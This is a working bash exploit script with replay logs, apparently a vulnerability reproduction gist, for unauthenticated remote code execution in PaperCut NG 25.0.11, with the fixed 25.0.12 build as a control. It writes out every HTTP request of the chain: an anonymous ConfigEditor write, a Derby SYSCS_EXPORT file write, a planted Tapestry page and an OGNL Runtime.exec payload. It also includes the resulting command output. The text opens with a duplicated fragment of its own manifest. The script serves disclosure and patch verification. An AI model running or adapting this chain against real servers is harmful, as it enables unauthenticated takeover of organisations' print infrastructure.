"fixed_version": "25.0.12 (build 76497), installer sha256 0782c1d691b485160b498887b0b196bc2a228f51f398b5271b91127c804fc392"
},
"proof_artifacts": sorted(art.keys()),
"artifact_sha256": art,
"vulnerable_rce_confirmed": result,
"fixed_chain_blocked": result,
"notes": "Unauthenticated Tapestry-3 complex direct-service config write -> external card-lookup Derby CALL file write -> planted Tapestry page OGNL eval -> OS command as papercut; receipt fetched over HTTP. 25.0.12 blocks config write (BasePaperCutPage service-path rights) and SQL CALL (ExternalUserLookupDb filter)."
}
open("repro/runtime_manifest.json", "w").write(json.dumps(manifest, indent=2))
PYEOF
echo "[*] runtime_manifest.json written"
exit $([ "$RESULT" = "true" ] && echo 0 || echo 1)
#!/bin/bash
# ============================================================================
# PaperCut NG 25.0.11 unauthenticated remote code execution (advisory 27-Aug-2026)
# with stock 25.0.12 negative control.
#
# Attack chain (every post-setup step is an unauthenticated HTTP request to the
# PaperCut Application Server; no host-side mutation, no restart):
#
# 1. Tapestry 3 "complex" direct-service flaw (patched in 25.0.12,
# BasePaperCutPage.pageValidate): service=direct/1/<PublicPage>/<PrivPage>/
# <Component> validates only the public render page, but triggers the
# privileged page's component listener. Using Home + ConfigEditor gives
# unauthenticated arbitrary config writes.
# 2. Arm the external Card/ID database lookup (user-lookup.* keys): embedded
# Apache Derby driver, attacker database URL, and an attacker SQL template
# calling SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE (blocked in 25.0.12
# by the new CALL|EXEC|EXECUTE|SYSCS_ filter in ExternalUserLookupDb).
# Enable pre-auth card/ID login on the web Home page
# (auth.web-login.card-id.enable).
# 3. Submit a card number (pre-auth web login) equal to
# VALUES(CAST('<file content>' AS CLOB)) -> the lookup writes an
# attacker-chosen file as the papercut service account. Used twice to
# plant WEB-INF/<P>.page + <P>.html into the live Jetty webapp dir.
# 4. GET /app?service=page/<P> makes Tapestry load the planted page and
# evaluate its OGNL expression -> Runtime.exec as user "papercut".
# The command writes its output back into the webroot; the attacker then
# fetches it over plain HTTP -> remote command-output receipt.
#
# Exit 0 = vulnerability confirmed on 25.0.11 AND blocked on 25.0.12.
# ============================================================================
set -euo pipefail
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"
rm -f "$ART"/* # ensure every listed proof artifact is produced by THIS run
cd "$ROOT"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1
echo "[*] PaperCut NG/MF 25.0.11 unauth RCE reproduction - $(date -u)"
# ----------------------------- settings -------------------------------------
VULN_VER=25.0.11.75758
FIXED_VER=25.0.12.76497
VULN_SHA=644957717fcb93313e96f8be0e18566a5d49ed0583d0814a7310fe958b5ef17a
FIXED_SHA=0782c1d691b485160b498887b0b196bc2a228f51f398b5271b91127c804fc392
VULN_URL="https://cdn1.papercut.com/web/products/ng-mf/installers/ng/25.x/pcng-setup-${VULN_VER}.sh"
FIXED_URL="https://cdn1.papercut.com/web/products/ng-mf/installers/ng/25.x/pcng-setup-${FIXED_VER}.sh"
WORK=/tmp/pcng-repro
SETUP_PW='PaperCut0day!'
VULN_PORT=19191
FIXED_PORT=19193
mkdir -p "$WORK"
# --------------------------- step 0: installers ------------------------------
fetch() { # $1=file $2=url $3=sha256
if [ -f "$WORK/$1" ] && echo "$3 $WORK/$1" | sha256sum -c - >/dev/null 2>&1; then
echo "[*] $1 present, checksum OK"; return 0
fi
echo "[*] downloading $1 (~940MB) ..."
curl -sSL -m 900 -o "$WORK/$1" "$2"
echo "$3 $WORK/$1" | sha256sum -c -
}
fetch "pcng-setup-${VULN_VER}.sh" "$VULN_URL" "$VULN_SHA"
fetch "pcng-setup-${FIXED_VER}.sh" "$FIXED_URL" "$FIXED_SHA"
# --------------------------- step 1: docker images ---------------------------
cat > "$WORK/Dockerfile" <<'EOF'
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
sudo curl ca-certificates procps netcat-openbsd iproute2 python3 jq file cpio \
&& rm -rf /var/lib/apt/lists/*
RUN useradd -m -s /bin/bash papercut && echo 'papercut ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/papercut
ARG INSTALLER
COPY ${INSTALLER} /home/papercut/pcng-setup.sh
RUN chown papercut:papercut /home/papercut/pcng-setup.sh && chmod +x /home/papercut/pcng-setup.sh
USER papercut
WORKDIR /home/papercut
RUN sh /home/papercut/pcng-setup.sh --non-interactive > /tmp/install.log 2>&1 || (tail -200 /tmp/install.log; exit 1)
RUN rm -f /home/papercut/pcng-setup.sh
EXPOSE 9191 9192
CMD ["/home/papercut/server/bin/linux-x64/app-server", "console"]
EOF
build_image() { # $1=installer $2=tag
if docker image inspect "$2" >/dev/null 2>&1; then echo "[*] image $2 exists"; return 0; fi
echo "[*] building image $2 ..."
(cd "$WORK" && docker build --build-arg "INSTALLER=$1" -t "$2" . ) > "$LOGS/docker-build-$2.log" 2>&1 \
&& echo "[*] built $2" || { echo "[!] build failed, see logs/docker-build-$2.log"; tail -20 "$LOGS/docker-build-$2.log"; exit 2; }
}
build_image "pcng-setup-${VULN_VER}.sh" pcng-vuln
build_image "pcng-setup-${FIXED_VER}.sh" pcng-fixed
# --------------------------- step 2: containers ------------------------------
start_container() { # $1=name $2=image $3=hostport
docker rm -f "$1" >/dev/null 2>&1 || true
docker run -d --name "$1" -p "$3:9191" "$2" > /dev/null
echo "[*] waiting for $1 to come up ..."
for i in $(seq 1 90); do
code=$(curl -sk -o /dev/null -w '%{http_code}' -m 5 "http://localhost:$3/" || echo 000)
[ "$code" = "302" ] || [ "$code" = "200" ] && { echo "[*] $1 ready (HTTP $code)"; return 0; }
sleep 3
done
echo "[!] $1 failed to start"; docker logs "$1" | tail -30; exit 2
}
start_container pc-vuln pcng-vuln $VULN_PORT
start_container pc-fixed pcng-fixed $FIXED_PORT
# build identity receipts
docker exec pc-vuln bash -c 'cat /home/papercut/server/version.txt' > "$ART/vuln-version.txt" 2>/dev/null || true
docker exec pc-fixed bash -c 'cat /home/papercut/server/version.txt' > "$ART/fixed-version.txt" 2>/dev/null || true
echo "[*] vuln version: $(cat $ART/vuln-version.txt 2>/dev/null)"
echo "[*] fixed version: $(cat $ART/fixed-version.txt 2>/dev/null)"
# --------------------------- helpers -----------------------------------------
# Tapestry session bootstrap + wizard
pc_session() { rm -f "$1"; curl -sk -c "$1" -m 15 -o /dev/null -L "$2/app"; }
pc_post() { # $1=cj $2=base $3=outfile ; remaining args = curl data args
local cj="$1" base="$2" out="$3"; shift 3
if [ "$out" = "/dev/null" ]; then
curl -sk -b "$cj" -c "$cj" -m 30 -o /dev/null "$base/app" \
-H "Origin: $base" -H "Referer: $base/app" "$@"
else
curl -sk -b "$cj" -c "$cj" -m 30 -D "$out.headers" -o "$out" "$base/app" \
-H "Origin: $base" -H "Referer: $base/app" "$@"
fi
}
run_wizard() { # $1=base $2=tag
local base="$1" tag="$2" cj="$WORK/wiz-$2.cookies"
pc_session "$cj" "$base"
pc_post "$cj" "$base" "$ART/$2-wiz1.html" \
--data-urlencode 'service=direct/1/SetupAdmin/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=password,passwordVerify,$PropertySelection,$Submit' \
--data-urlencode "password=$SETUP_PW" --data-urlencode "passwordVerify=$SETUP_PW" --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz2.html" \
--data-urlencode 'service=direct/1/SetupOrgType/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$RadioGroup,$Submit,$Submit$0' --data-urlencode '$RadioGroup=0' --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz3.html" \
--data-urlencode 'service=direct/1/SetupPrintCost/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=defaultColorPageCost,defaultGrayscalePageCost,$Submit,$Submit$0' \
--data-urlencode 'defaultColorPageCost=$0.00' --data-urlencode 'defaultGrayscalePageCost=$0.00' --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz4.html" \
--data-urlencode 'service=direct/1/SetupUserCredit/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=initialCredit,restricted,$Submit,$Submit$0' \
--data-urlencode 'initialCredit=$0.00' --data-urlencode 'restricted=on' --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz5.html" \
--data-urlencode 'service=direct/1/SetupUserSource/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$RadioGroup,$Select,$LinkSubmit,$Submit,$Submit$0' \
--data-urlencode '$RadioGroup=0' --data-urlencode '$Select=0' --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz6.html" \
--data-urlencode 'service=direct/1/SetupVerify/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$Submit,$Submit$0' --data-urlencode '$Submit=Confirm'
sleep 3
pc_post "$cj" "$base" "$ART/$2-wiz7.html" \
--data-urlencode 'service=direct/1/SetupCompleted/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$Hidden,analyticsEnabled,$Submit' --data-urlencode '$Hidden=F' --data-urlencode '$Submit=Login'
# setup complete when /app shows the Login page (no wizard redirect)
local title
title=$(curl -sk -m 15 -L "$base/app" | grep -oiE '<title>[^<]*' | head -1)
echo "[*] $tag wizard done, landing title: $title"
echo "$title" | grep -qi 'login' && return 0
echo "[!] $tag wizard did not complete"; return 1
}
# ---- unauth exploit primitives (attacker session) ----
atk_qf() { # $1=base $2=cj $3=key
pc_post "$2" "$1" /dev/null \
--data-urlencode 'service=direct/1/Home/ConfigEditor/quickFindForm' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$TextField,doQuickFind,clear' --data-urlencode "\$TextField=$3" --data-urlencode 'doQuickFind=GO' >/dev/null
}
atk_edit1() { # single-row table (most keys): $1=base $2=cj $3=value
pc_post "$2" "$1" "$WORK/ae.html" \
--data-urlencode 'service=direct/1/Home/ConfigEditor/$Form' --data-urlencode 'sp=S1' \
--data-urlencode 'Form1=$TextField$0,$Submit,$Submit$0' \
--data-urlencode "\$TextField\$0=$3" --data-urlencode '$Submit=Update' >/dev/null
}
atk_edit2() { # two-row table (id-to-username-sql): $1=base $2=cj $3=value $4=row2value
pc_post "$2" "$1" "$WORK/ae.html" \
--data-urlencode 'service=direct/1/Home/ConfigEditor/$Form' --data-urlencode 'sp=S1' \
--data-urlencode 'Form1=$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0' \
--data-urlencode "\$TextField\$0=$3" --data-urlencode '$Submit=Update' --data-urlencode "\$TextField\$0\$0=$4" >/dev/null
}
atk_cardlogin() { # $1=base $2=cj $3=card
pc_post "$2" "$1" "$WORK/ac.html" \
--data-urlencode 'service=direct/1/Home/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection' \
--data-urlencode '$Hidden$0=F' --data-urlencode '$Hidden$1=X' \
--data-urlencode "inputUsername=$3" --data-urlencode 'inputPassword=' --data-urlencode '$Submit$0=Log in' >/dev/null
}
# Send each configuration change through fresh unauthenticated sessions. The
# remotely fetched command receipt is the end-to-end oracle.
set_config_unauth() {
local base="$1" key="$2" val="$3" rows="${4:-1}" i cj
for i in 1 2 3; do
cj="$WORK/atk-$RANDOM.cookies"; pc_session "$cj" "$base"
atk_qf "$base" "$cj" "$key"; sleep 1
if [ "$rows" = "2" ]; then atk_edit2 "$base" "$cj" "$val" USERNAME; else atk_edit1 "$base" "$cj" "$val"; fi
sleep 1
echo "[*] unauthenticated configuration request sent: $key (attempt $i)"
done
return 0
}
# ============================================================================
# PHASE A: vulnerable 25.0.11
# ============================================================================
VB="http://localhost:$VULN_PORT"
echo; echo "=========== PHASE A: PaperCut NG $VULN_VER (vulnerable) ==========="
set +e
run_wizard "$VB" vuln || { echo "[!] vuln wizard failed"; }
echo "[*] setup complete; no admin login or authenticated ConfigEditor render"
echo "[*] Phase A1: unauthenticated config write via Tapestry complex direct service"
set_config_unauth "$VB" user-lookup.enabled Y
set_config_unauth "$VB" user-lookup.db-driver org.apache.derby.jdbc.EmbeddedDriver
set_config_unauth "$VB" user-lookup.db-url 'jdbc:derby:/tmp/pc0day;create=true'
set_config_unauth "$VB" user-lookup.db-username x
set_config_unauth "$VB" auth.web-login.card-id.enable Y
set_config_unauth "$VB" auth.web-login.card-id.pin-required N
WEBAPP=/home/papercut/server/tmp/webapp-75758
write_file_remote() { # $1=abs target path $2=csv path $3=file content (no single quotes) $4=tag
local tpl="CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber},'$2',NULL,NULL,NULL,'$1')"
set_config_unauth "$VB" user-lookup.id-to-username-sql "$tpl" 2 || return 1
local cj="$WORK/atk-card-$RANDOM.cookies"
pc_session "$cj" "$VB"; sleep 1
atk_cardlogin "$VB" "$cj" "VALUES(CAST('$3' AS CLOB))"
sleep 1
docker exec pc-vuln bash -c "test -f '$1'" && { echo "[+] remote file write OK: $1"; return 0; }
echo "[-] remote file write failed: $1"
docker exec pc-vuln bash -c 'grep -iE "cardID" /home/papercut/server/logs/server.log | tail -1' || true
return 1
}
echo "[*] Phase A2: plant Tapestry page files via Derby LOB export (pre-auth card login)"
PAGESPEC='<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE page-specification PUBLIC "-//Apache Software Foundation//Tapestry Specification 3.0//EN" "http://jakarta.apache.org/tapestry/dtd/Tapestry_3_0.dtd"><page-specification class="org.apache.tapestry.html.BasePage"/>'
write_file_remote "$WEBAPP/WEB-INF/Pwn3.page" /tmp/pc0day-a.csv "$PAGESPEC" page
OGNL=$(python3 - <<'PYEOF'
def bs(s): return "new java.lang.String(new byte[]{"+",".join(str(b) for b in s.encode())+"})"
cmd = "{ echo PC0DAY-PROOF-BEGIN; id; uname -a; cat /proc/1/comm; echo PC0DAY-PROOF-END; } > /home/papercut/server/tmp/webapp-75758/pwn-proof.txt 2>&1"
print("@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"+bs("/bin/sh")+","+bs("-c")+","+bs(cmd)+"})")
PYEOF
)
HTML="<html><body><span jwcid=\"@Insert\" value=\"ognl:$OGNL\" /></body></html>"
write_file_remote "$WEBAPP/Pwn3.html" /tmp/pc0day-b.csv "$HTML" html
echo "[*] Phase A3: trigger code execution by rendering the planted page"
curl -sk -m 20 -D "$ART/vuln-render.headers" -o "$ART/vuln-render.html" -w "render:%{http_code}\n" "$VB/app?service=page/Pwn3"
sleep 2
echo "[*] Phase A4: fetch remote command receipt over HTTP"
curl -sk -m 15 -D "$ART/vuln-proof.headers" -o "$ART/vuln-proof.txt" -w "proof:%{http_code}\n" "$VB/pwn-proof.txt"
VULN_OK=0
if grep -q "PC0DAY-PROOF-BEGIN" "$ART/vuln-proof.txt" && grep -qE "uid=[0-9]+\(papercut\)" "$ART/vuln-proof.txt"; then
echo "[+] VULNERABLE: unauthenticated remote command execution as papercut confirmed:"
cat "$ART/vuln-proof.txt"
VULN_OK=1
else
echo "[-] proof receipt missing on vulnerable build"
fi
# IoC lines from server.log (read-only evidence)
docker exec pc-vuln bash -c 'grep -E "cardID|Unsafe" /home/papercut/server/logs/server.log | tail -5' > "$ART/vuln-serverlog-ioc.txt" 2>/dev/null || true
# ============================================================================
# PHASE B: fixed 25.0.12 negative control (identical request sequence)
# ============================================================================
FB="http://localhost:$FIXED_PORT"
echo; echo "=========== PHASE B: PaperCut NG $FIXED_VER (fixed) ==========="
run_wizard "$FB" fixed
echo "[*] setup complete; no admin login or authenticated ConfigEditor render"
FIXED_WEBAPP=$(docker exec pc-fixed bash -c 'ls -d /home/papercut/server/tmp/webapp-* | head -1')
echo "[*] fixed webapp dir: $FIXED_WEBAPP"
echo "[*] Phase B1: replay the IDENTICAL unauthenticated request sequence on the fixed build"
# Note: 25.0.12 hardens BasePaperCutPage for pages that inherit it, but Home
# overrides pageValidate, so the unauthenticated ConfigEditor direct-service
# write still lands. The emergency fix blocks the chain at the SQL layer
# (ExternalUserLookupDb rejects CALL/EXEC/EXECUTE/SYSCS_). The control therefore
# verifies: (1) the armed card lookup reaches the new check and is refused,
# (2) no file is planted, (3) no command receipt exists.
FIXED_BLOCKED=1
set_config_unauth "$FB" user-lookup.enabled Y
set_config_unauth "$FB" user-lookup.db-driver org.apache.derby.jdbc.EmbeddedDriver
set_config_unauth "$FB" user-lookup.db-url 'jdbc:derby:/tmp/pc0day;create=true'
set_config_unauth "$FB" user-lookup.db-username x
set_config_unauth "$FB" auth.web-login.card-id.enable Y
set_config_unauth "$FB" auth.web-login.card-id.pin-required N
# B2: arm the same malicious CALL template and fire the same card login
tpl="CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber},'/tmp/pc0day-f1.csv',NULL,NULL,NULL,'$FIXED_WEBAPP/WEB-INF/Pwn3.page')"
set_config_unauth "$FB" user-lookup.id-to-username-sql "$tpl" 2
CJ2="$WORK/atk-fixed2.cookies"; pc_session "$CJ2" "$FB"; sleep 1
atk_cardlogin "$FB" "$CJ2" "VALUES(CAST('$PAGESPEC' AS CLOB))"
sleep 2
docker exec pc-fixed bash -c 'grep -E "cardID|Unsafe" /home/papercut/server/logs/server.log' > "$ART/fixed-serverlog-ioc.txt" 2>/dev/null || true
if grep -q "Unsafe external user lookup SQL blocked" "$ART/fixed-serverlog-ioc.txt"; then
echo "[+] fixed build refused the malicious SQL: Unsafe external user lookup SQL blocked"
else
echo "[-] fixed build did NOT log the SQL block"; FIXED_BLOCKED=0
fi
if docker exec pc-fixed bash -c "ls '$FIXED_WEBAPP/WEB-INF/Pwn3.page' '$FIXED_WEBAPP/Pwn3.html' 2>/dev/null"; then
echo "[-] planted files exist on fixed build"; FIXED_BLOCKED=0
else
echo "[+] no planted files on fixed build"
fi
# B3: sanity - a benign (non-CALL) SQL template on the fixed build still
# executes against Derby (deliberate type error proves execution), showing the
# patch blocks only dangerous statements, not the lookup feature itself.
tpl_benign="SELECT CAST('notanint' AS INT) FROM (VALUES (1)) t(x) WHERE {cardnumber} <> 'zzz'"
set_config_unauth "$FB" user-lookup.id-to-username-sql "$tpl_benign" 2
CJ3="$WORK/atk-fixed3.cookies"; pc_session "$CJ3" "$FB"; sleep 1
atk_cardlogin "$FB" "$CJ3" "12345678"
sleep 2
docker exec pc-fixed bash -c 'grep -E "cardID" /home/papercut/server/logs/server.log | tail -1' >> "$ART/fixed-serverlog-ioc.txt" 2>/dev/null || true
if grep -q "Database error looking up cardID: 12345678" "$ART/fixed-serverlog-ioc.txt"; then
echo "[+] fixed build executed the benign lookup SQL (Derby type error observed) - block is specific to dangerous SQL"
else
echo "[!] benign lookup on fixed did not produce the expected Derby error (sanity check inconclusive)"
fi
# B4: no command receipt on fixed
curl -sk -m 20 -o "$ART/fixed-render.html" -w "fixed-render:%{http_code}\n" "$FB/app?service=page/Pwn3"
sleep 1
fcode=$(curl -sk -o "$ART/fixed-proof.txt" -w '%{http_code}' -m 15 "$FB/pwn-proof.txt")
echo "fixed proof fetch: HTTP $fcode"
if [ "$fcode" = "200" ] && grep -q "PC0DAY-PROOF" "$ART/fixed-proof.txt"; then
echo "[-] command receipt exists on fixed build"; FIXED_BLOCKED=0
else
echo "[+] no command receipt on fixed build (HTTP $fcode)"
fi
[ "$FIXED_BLOCKED" = "1" ] && echo "[+] NEGATIVE CONTROL PASSED: 25.0.12 blocks the chain"
# ============================================================================
# verdict + runtime manifest
# ============================================================================
echo
echo "=================================================================="
echo "vuln RCE proven: $VULN_OK | fixed blocked: $FIXED_BLOCKED"
echo "=================================================================="
ART_SHA=$(python3 - <<'PYEOF'
import hashlib, json, os
art = {}
base = "artifacts"
for f in sorted(os.listdir(base)):
p = os.path.join(base, f)
if os.path.isfile(p):
art[f"artifacts/{f}"] = hashlib.sha256(open(p,'rb').read()).hexdigest()
logs = {}
for f in ["reproduction_steps.log"]:
p = os.path.join("logs", f)
if os.path.isfile(p):
pass # actively written; not hashed
print(json.dumps(art))
PYEOF
)
RESULT="false"
[ "$VULN_OK" = "1" ] && [ "$FIXED_BLOCKED" = "1" ] && RESULT="true"
python3 - "$RESULT" "$ART_SHA" <<'PYEOF'
import json, sys, subprocess
result = sys.argv[1] == "true"
art = json.loads(sys.argv[2])
manifest = {
"entrypoint_kind": "endpoint",
"entrypoint_detail": "unauthenticated Tapestry direct-service on /app (Home/ConfigEditor) and pre-auth card/ID web login reaching ExternalUserLookupDb (external card lookup)",
"service_started": True,
"healthcheck_passed": True,
"target_path_reached": True,
"runtime_stack": ["docker", "papercut-ng-app-server", "jetty-12", "apache-derby-embedded"],
"target_identity": {
"repository_url": None,
"commit_sha": None,
"target_digest": None,
"platform": "linux",
"architecture": "x86_64",
"product": "PaperCut NG",
"vulnerable_version": "25.0.11 (build 75758), installer sha256 644957717fcb93313e96f8be0e18566a5d49ed0583d0814a7310fe958b5ef17a",
"fixed_version": "25.0.12 (build 76497), installer sha256 0782c1d691b485160b498887b0b196bc2a228f51f398b5271b91127c804fc392"
},
"proof_artifacts": sorted(art.keys()),
"artifact_sha256": art,
"vulnerable_rce_confirmed": result,
"fixed_chain_blocked": result,
"notes": "Unauthenticated Tapestry-3 complex direct-service config write -> external card-lookup Derby CALL file write -> planted Tapestry page OGNL eval -> OS command as papercut; receipt fetched over HTTP. 25.0.12 blocks config write (BasePaperCutPage service-path rights) and SQL CALL (ExternalUserLookupDb filter)."
}
open("repro/runtime_manifest.json", "w").write(json.dumps(manifest, indent=2))
PYEOF
echo "[*] runtime_manifest.json written"
exit $([ "$RESULT" = "true" ] && echo 0 || echo 1)

Session provenance for the no-admin PaperCut replay

Replay time: 2026-09-01 16:57 UTC

Targets were fresh containers created from the locally cached immutable images:

  • PaperCut NG 25.0.11 build 75758: sha256:406d1904f8b12beb9638c73f11fa3f17833430945d10a49e533dc2584128fa5e
  • PaperCut NG 25.0.12 build 76497: sha256:b7a9f5460d4b950ed3154723578068e8d5251be961693af66ebafda195ddf9b3

What the JSESSIONID represents

PaperCut issues a JSESSIONID to an unauthenticated GET /app. A session ID in an HTTP request is therefore not, by itself, evidence that admin authentication occurred.

For the vulnerable target, request trace 027-session.trace began with no Cookie header:

GET /app HTTP/1.1
Host: localhost:19191

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=node01spytdinqc1fy1okp09iqybklh9.node0; Path=/; HttpOnly

The request that configured the Derby URL then used that newly issued anonymous session:

POST /app HTTP/1.1
Cookie: JSESSIONID=node01spytdinqc1fy1okp09iqybklh9.node0

service=direct/1/Home/ConfigEditor/$Form
$TextField$0=jdbc:derby:/tmp/pc0day;create=true
$Submit=Update

The two setup wizards used four session IDs because PaperCut rotated each setup session on completion:

node01k92vs8rngucif286nub835p0.node0
node01v7b0qou8q79l1sh4ut7hm3pfn1.node0
node05bj3ufhnjx06fkkawgv1l0ld0.node0
node0intky44pylodf2209n2jso1l1.node0

Across vulnerable and fixed controls, 52 attacker session IDs were captured. Their intersection with the setup-session IDs was zero. The 168 HTTP traces contained zero inputUsername=admin requests and zero authenticated service=page/ConfigEditor warmups.

Result

The vulnerable target returned the command receipt over HTTP:

PC0DAY-PROOF-BEGIN
uid=1001(papercut) gid=1001(papercut) groups=1001(papercut)
app-server
PC0DAY-PROOF-END

The fixed target logged Unsafe external user lookup SQL blocked, contained no planted page files, and returned HTTP 404 for the command receipt.

Result: vuln RCE proven: 1 | fixed blocked: 1.

Local evidence hashes:

http-session-index.tsv  58cbebf33fff8db50d9d2d89840a10022bbc629390ac612eed08ad3daa62a02f
vuln-proof.txt          a625e67e9f5c048b13e63eeafcb804a0b867d9a47d49d836b298b3e21f5b1d7a
runtime_manifest.json   a67a875dce1e86da0501712dc5edc475662659f4a594cb0a16e9c7634961dc5f

The setup password in the script initializes each disposable stock installation. It is not used by any post-setup attack request.

Public artifact
---------------
REPRO-2026-00340 version: 6
reproduction_steps.sh SHA-256: c7913bc0155eafa5a372756922ffc691c4f5f5467db64bafd3c0bf1268d1d310
Exact deployed-script replay
----------------------------
admin_login_trace=1788283034931611079-post.trace
admin_authenticated_sid=node018r5vu5ainzlmeeivaa2plnda4.node0
db_write_trace=1788283042279791375-post.trace
db_write_jar=atk-2452.cookies
db_write_sid=node01epx4wkn7nkk1e6wds2ugf4g77.node0
anonymous_bootstrap_trace=1788283041226573637-session.trace
anonymous_bootstrap_sid=node01epx4wkn7nkk1e6wds2ugf4g77.node0
ASSERT selected_trace_is_admin_login=PASS
ASSERT write_sid_equals_anonymous_bootstrap_sid=PASS
ASSERT write_sid_differs_from_admin_sid=PASS
ASSERT anonymous_bootstrap_has_no_cookie=PASS
Terminal result
---------------
vuln RCE proven: 1 | fixed blocked: 1
vulnerable receipt: uid=1001(papercut) gid=1001(papercut)
fixed receipt: HTTP 404
Wrong-password diagnostic
-------------------------
warmup ConfigEditor render: 302
all old admin_getval readbacks: empty
correctly authenticated diagnostic readback afterward:
jdbc:derby:/tmp/pc0day;create=true
DIAGNOSTIC CONFIRMED: the anonymous write landed; wrong admin credentials only broke the old readback oracle.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment